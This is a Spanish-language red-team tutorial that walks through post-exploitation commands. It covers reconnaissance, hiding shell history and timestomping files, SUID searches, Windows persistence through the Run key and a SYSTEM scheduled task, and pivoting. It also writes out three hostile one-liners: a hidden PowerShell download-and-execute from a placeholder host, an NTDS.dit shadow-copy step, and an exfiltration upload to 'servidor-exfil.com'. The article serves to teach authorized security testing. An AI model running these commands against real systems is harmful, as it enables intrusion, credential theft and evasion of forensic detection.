
La capacidad de evaluar las defensas de una organización mediante simulaciones de adversarios reales es fundamental. El Red Teaming no se limita a encontrar vulnerabilidades; se trata de probar la capacidad de detección y respuesta de toda una infraestructura. Para lograrlo, es necesario dominar una vasta gama de herramientas y comandos que permitan moverse lateralmente, escalar privilegios y mantener la persistencia sin ser detectado.
Dominar el entorno operativo es el primer paso para cualquier operador. Ya sea que nos encontremos en un sistema Linux o Windows, la comprensión profunda de los procesos internos y las configuraciones de red determina el éxito o el fracaso de una operación. A continuación, exploraremos las técnicas esenciales para el control y la navegación en entornos comprometidos.
Una vez obtenido el acceso inicial a un sistema Linux, el reconocimiento es vital. No basta con entrar; hay que saber quiénes somos, dónde estamos y qué reglas rigen el entorno. Comandos básicos como id para conocer nuestro usuario actual, w para ver quién más está conectado o uname -a para identificar la versión del kernel son puntos de partida obligatorios.
Sin embargo, la verdadera maestría reside en el manejo de la red y la comunicación silenciosa. Por ejemplo, el uso de netstat -tulpn permite visualizar las comunicaciones activas junto con sus IDs de proceso (PIDs), lo que facilita identificar servicios críticos o posibles vías de salida. Para situaciones donde se requiere interceptar tráfico o realizar diagnósticos profundos, tcpdump es la herramienta por excelencia. Un operador puede capturar tráfico en una interfaz específica y guardarlo para un análisis posterior con comandos como tcpdump -i eth0 -XX -w out.pcap.
Si necesitamos identificar rápidamente qué puertos están abiertos en una IP específica desde una shell de PowerShell, podemos ejecutar un pequeño script de escaneo de puertos: $ports=(80,443,445); $ip="192.168.1.50"; foreach ($port in $ports) { try { $socket=New-object System.Net.Sockets.TCPClient($ip,$port); echo "$ip:$port - Open"; } catch { echo "$ip:$port - Closed" } }.
El sigilo es la marca de un Red Teamer profesional. Cada comando ejecutado deja una huella en el historial del sistema. Para evitar esto, es común utilizar unset HISTFILE o configurar export HISTSIZE=0 para que los comandos de la sesión actual no se guarden en el archivo de historial de bash.
La manipulación de archivos también requiere cuidado. Si necesitamos cambiar la fecha de acceso o modificación de un archivo para que coincida con uno legítimo y así evitar sospechas durante una auditoría forense, podemos usar touch -r ref_file target_file. En casos donde la eliminación definitiva de datos es necesaria, el comando shred -f -u file sobrescribe el contenido antes de borrarlo, dificultando enormemente su recuperación.
El acceso inicial suele ser con privilegios limitados. El objetivo es convertirse en root (en Linux) o SYSTEM (en Windows). En Linux, una técnica común es buscar archivos con el bit SUID configurado, los cuales se ejecutan con los privilegios del propietario del archivo. El comando find / -perm -4000 -type f 2>/dev/null es una herramienta poderosa para localizar estos binarios.
En entornos Windows, la persistencia se logra a menudo mediante la manipulación del registro o la creación de tareas programadas. Una técnica clásica es añadir una entrada en la clave de ejecución del registro: HKLM\Software\Microsoft\Windows\CurrentVersion\Run. Esto asegura que nuestro binario se ejecute cada vez que el sistema se inicia.
Para una persistencia más sofisticada, podemos crear una tarea programada que se ejecute con los máximos privilegios:
SCHTASKS /CREATE /TN "ActualizaciónSistema" /TR "C:\temp\payload.exe" /SC HOURLY /RL HIGHEST /RU SYSTEM.
Active Directory (AD) es el corazón de la mayoría de las redes corporativas. Herramientas como dsquery permiten extraer información valiosa sobre los usuarios y grupos del dominio. Por ejemplo, para listar todos los miembros del grupo “Domain Admins”, se puede utilizar:
dsquery group -name "domain admins" | dsget group -members -expand.
PowerShell es el aliado más potente en sistemas modernos de Windows. Su capacidad para ejecutar código directamente en memoria ayuda a evadir soluciones antivirus tradicionales. Un ejemplo de esto es la descarga y ejecución de scripts de forma remota:
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://atancante.com/script.ps1')".
Para evadir AMSI (Antimalware Scan Interface), los operadores suelen emplear scripts de bypass o técnicas de ofuscación de código antes de cargar sus herramientas de post-explotación favoritas.
Una vez que un equipo ha sido comprometido, se convierte en la base para atacar otros sistemas internos que no son accesibles desde internet. Esto se conoce como pivoting. Mediante iptables, podemos configurar redireccionamientos de puertos para canalizar nuestro tráfico a través del host comprometido:
iptables -t nat -A PREROUTING -p tcp -i eth0 -j DNAT -d [IP_Pivote] --dport 443 --to-destination [IP_Atacante]:443.
Incluso en Windows, el comando netsh permite realizar redirecciones similares:
netsh interface portproxy add v4tov4 listenport=3000 listenaddress=0.0.0.0 connectport=4000 connectaddress=[IP_Destino].
El objetivo final de muchas operaciones es la obtención de información sensible. Esto puede implicar desde la copia de la base de datos de Active Directory (NTDS.dit) mediante sombras de volumen (VSS) con vssadmin create shadow /for=C: hasta la captura de credenciales en memoria.
Para mover estos datos fuera de la red de forma segura, se pueden utilizar protocolos como SCP o incluso HTTP a través de PowerShell: $http = New-Object System.Net.WebClient; $http.UploadFile("http://servidor-exfil.com/upload", "C:\datos_sensibles.zip").
La seguridad no es un producto, sino un proceso. Las tácticas y comandos descritos son solo una fracción de lo que implica una operación de Red Team. El verdadero valor reside en la creatividad del operador para combinar estas herramientas, adaptarse a las defensas del objetivo y, sobre todo, proporcionar un informe detallado que permita a la organización fortalecer su postura de seguridad. Cada comando ejecutado y cada técnica empleada debe tener un propósito claro dentro de la estrategia global de evaluación.